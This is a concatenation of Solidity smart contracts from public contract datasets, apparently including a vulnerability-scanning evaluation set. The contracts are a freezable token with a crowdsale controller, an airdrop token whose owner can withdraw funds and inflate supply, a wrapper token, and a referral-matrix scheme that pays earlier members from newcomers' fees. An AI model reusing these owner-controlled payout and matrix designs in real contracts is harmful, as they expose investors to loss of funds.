uint256 amount;
for(uint i; i<_value.length; i++){
amount = amount.add(_value[i]);
}
require(balanceOf[_user] >= amount, "balance of user must bigger or equal than amount of all steps");
balanceOf[_user] -= amount;
freezeOfUser[_user] += amount;
uint256 _valueI;
uint8 _stepI;
for(i=0; i<_value.length; i++){
_valueI = _value[i];
_stepI = _step[i];
freezeOf[_stepI].push(uint256(_user)<<96|_valueI);
}
emit Freeze(_user, amount);
return true;
}
function unFreeze(uint8 _step) onlyController public returns (bool unlockOver) {
require(stepLockend[_step]<now && (currUnlockStep==_step || currUnlockSeq==uint256(0)));
require(stepUnlockInfo[_step]==false);
uint256[] memory currArr = freezeOf[_step];
currUnlockStep = _step;
if(currUnlockSeq==uint256(0)){
currUnlockSeq = currArr.length;
}
uint256 start = ((currUnlockSeq>99)?(currUnlockSeq-99): 0);
uint256 userLockInfo;
uint256 _amount;
address userAddress;
for(uint256 end = currUnlockSeq; end>start; end--){
userLockInfo = freezeOf[_step][end-1];
_amount = userLockInfo&0xFFFFFFFFFFFFFFFFFFFFFFFF;
userAddress = address(userLockInfo>>96);
balanceOf[userAddress] += _amount;
freezeOfUser[userAddress] = freezeOfUser[userAddress].sub(_amount);
emit Unfreeze(userAddress, _amount);
}
if(start==0){
stepUnlockInfo[_step] = true;
currUnlockSeq = 0;
}else{
currUnlockSeq = start;
}
return true;
}
function() payable public {
require(isContract(controller), "controller is not a contract");
bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender);
require(proxyPayment);
}
function generateTokens(address _user, uint _amount) onlyController userEnough(owner, _amount) public returns (bool) {
balanceOf[_user] += _amount;
balanceOf[owner] -= _amount;
emit Transfer(0, _user, _amount);
return true;
}
function destroyTokens(address _user, uint _amount) onlyController userEnough(_user, _amount) public returns (bool) {
require(balanceOf[_user] >= _amount);
balanceOf[owner] += _amount;
balanceOf[_user] -= _amount;
emit Transfer(_user, 0, _amount);
emit Burn(_user, _amount);
return true;
}
function changeOwner(address newOwner) onlyOwner public returns (bool) {
balanceOf[newOwner] = balanceOf[owner];
balanceOf[owner] = 0;
owner = newOwner;
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController public {
transfersEnabled = _transfersEnabled;
}
}
contract SomeController is Controlled {
using SafeMath for uint256;
bool public paused;
uint256 public softCap;
uint256 public hardCap = 5000*10**18;
uint256 public minFunding = 10*10**18;
uint256 public tokensPerEther1 = 128000;
uint256 public tokensPerEther2 = 91500;
uint256 public totalCollected;
Token public tokenContract;
bool public finalized = false;
bool public allowChange = true;
address private vaultAddress;
bool private initialed = false;
event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount);
event Info256(string name, uint256 msg);
event LastFund(uint256 funding, uint256 backValue);
constructor(address tokenAddr) public {
tokenContract = Token(tokenAddr);
}
function setLockStep(uint8[] steps, uint[] times) onlyController public {
require(steps.length == times.length, "params length different");
for(uint i; i<steps.length; i++){
tokenContract.addLockStep(steps[i], times[i]);
}
}
function onTransfer(address _from, address _to, uint _amount) public view returns(bool){
if (_from == vaultAddress) {
return true;
}
_to;
_amount;
return false;
}
function onApprove(address _owner, address _spender, uint _amount) public view returns(bool){
if (_owner == vaultAddress) {
return true;
}
_spender;
_amount;
return false;
}
function fixFunding(address[] _owner, uint256[] _value, uint8[] _steps, uint8[] _percents) onlyController public {
require(_owner.length == _value.length, "length of address is different with value");
require(_steps.length == _percents.length, "length of steps is different with percents");
address ownerNow;
uint256 valueNow;
for(uint i=0; i<_owner.length; i++){
ownerNow = _owner[i];
valueNow = _value[i];
require(tokenContract.generateTokens(ownerNow, valueNow), "generateTokens executed error");
uint256[] memory valueArr = new uint256[](_steps.length);
for(uint j=0; j<_steps.length; j++){
valueArr[j] = valueNow*_percents[j]/100;
}
tokenContract.freeze(ownerNow, valueArr, _steps);
}
}
function changeTokenController(address _newController) onlyController public {
tokenContract.changeController(_newController);
}
function changeToken(address _newToken) onlyController public {
tokenContract = Token(_newToken);
}
function changeVault(address _newVaultAddress) onlyController public {
vaultAddress = _newVaultAddress;
}
function pauseContribution() onlyController public {
paused = true;
}
function resumeContribution() onlyController public {
paused = false;
}
modifier notPaused() {
require(!paused);
_;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) {
return false;
}
uint256 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function claimTokens(address[] tokens) onlyController public {
address _token;
uint256 balance;
for(uint256 i; i<tokens.length; i++){
_token = tokens[i];
if (_token == 0x0) {
balance = address(this).balance;
if(balance > 0){
msg.sender.transfer(balance);
}
}else{
ERC20Token token = ERC20Token(_token);
balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
emit ClaimedTokens(_token, msg.sender, balance);
}
}
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
}
| 165,592 | 154 |
882666f6cc9108493eda01462fb81ba235c1a59ce9a269eb71607d1e122ed744
| 10,276 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x960c5ad81f43e115d62ac0c990020d383c0927ee.sol
| 2,679 | 10,054 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ExtensiveTrust is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Extensive Trust";
string public constant symbol = "ET";
uint public constant decimals = 8;
uint public deadline = now + 50 * 1 days;
uint public round1 = now + 20 * 1 days;
uint public round2 = now + 40 * 1 days;
uint256 public totalSupply = 16000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 1000; // 0.001 Ether
uint256 public tokensPerEth = 50000000e8;
uint public target0drop = 50000;
uint public progress0drop = 0;
address multisig = 0x98FbB7D9c667F0217192c401786Ba02e027f2023;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 2000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether / 2;
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 30 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 20 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 100000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 177,263 | 155 |
a4c3f5380811e9b32948b9345725b06ba37c18d98ed3ff3e1b9a6c190e38cd22
| 30,248 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/2d/2d78a1BC056fE0Ff51528aF134E3034fAe7D7E7c_wCAT.sol
| 3,214 | 12,577 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ICAT {
function index() external view returns (uint);
}
contract wCAT is ERC20 {
using SafeERC20 for ERC20;
using Address for address;
using SafeMath for uint;
address public immutable sCAT;
constructor(address _sCAT) ERC20('Wrapped CAT', 'wCAT') {
require(_sCAT != address(0));
sCAT = _sCAT;
}
function wrap(uint _amount) external returns (uint) {
IERC20(sCAT).transferFrom(msg.sender, address(this), _amount);
uint value = sCATTowCAT(_amount);
_mint(msg.sender, value);
return value;
}
function unwrap(uint _amount) external returns (uint) {
_burn(msg.sender, _amount);
uint value = wCATTosCAT(_amount);
IERC20(sCAT).transfer(msg.sender, value);
return value;
}
function wCATTosCAT(uint _amount) public view returns (uint) {
return _amount.mul(ICAT(sCAT).index()).div(10 ** decimals());
}
function sCATTowCAT(uint _amount) public view returns (uint) {
return _amount.mul(10 ** decimals()).div(ICAT(sCAT).index());
}
}
| 90,298 | 156 |
9929185c296de79cdf8216c3b8eef622b11f28dbdbda86ed07f6ce4aee9db601
| 24,117 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x04FDD7158338Ef7F420Dc386e3675be43eF90302/contract.sol
| 3,252 | 12,552 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
interface BRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
contract PegasusV2 is Ownable, ReentrancyGuard {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => X3) x3Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
uint8 public constant LAST_LEVEL = 12;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 1;
address public ownerContract;
BRC20 tokenA;
bool public modeOnlyTron;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 level, bool isExtra);
constructor(address ownerAddress,address _tokenaddress) {
levelPrice[1] = 150*1e9 ;
levelPrice[2] = 300*1e9 ;
levelPrice[3] = 600*1e9 ;
levelPrice[4] = 900*1e9 ;
levelPrice[5] = 1500*1e9 ;
levelPrice[6] = 2050*1e9 ;
levelPrice[7] = 2630*1e9 ;
levelPrice[8] = 3500*1e9 ;
levelPrice[9] = 4400*1e9 ;
levelPrice[10] = 5260*1e9 ;
levelPrice[11] = 6720*1e9 ;
levelPrice[12] = 8760*1e9 ;
modeOnlyTron=false;
ownerContract = ownerAddress;
tokenA = BRC20(_tokenaddress);
users[ownerAddress].id = 1;
users[ownerAddress].referrer= address(0);
users[ownerAddress].partnersCount =uint(0);
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function registrationExt(uint256 _amount,address referrerAddress) external nonReentrant {
registration(msg.sender, referrerAddress, _amount);
}
function buyLevel(uint8 level,uint256 _amount) external nonReentrant {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(_amount == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level should be activated");
uint256 balanceA = tokenA.balanceOf(msg.sender);
require(_amount <= balanceA, "insufficient balance");
TransferHelper.safeTransferFrom(address(tokenA),msg.sender,address(this),_amount);
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, level);
}
function registration(address userAddress, address referrerAddress, uint256 _amount) private {
require(_amount == 150 *1e9, "registration cost 150 000 OLY");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
uint256 balanceA = tokenA.balanceOf(msg.sender);
require(_amount <= balanceA, "insufficient balance");
TransferHelper.safeTransferFrom(address(tokenA),msg.sender,address(this),_amount);
users[userAddress].id = lastUserId;
users[userAddress].referrer = referrerAddress;
users[userAddress].partnersCount = 0;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, level, 3);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
if (referrerAddress != ownerContract) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(ownerContract, userAddress, level);
users[ownerContract].x3Matrix[level].reinvestCount++;
emit Reinvest(ownerContract, address(0), userAddress, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address ref) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
ref =users[userAddress].referrer;
return ref;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 level) private returns(address receiver, bool isExtraDividends) {
receiver = userAddress;
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, level);
tokenA.transfer(receiver, levelPrice[level]);
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
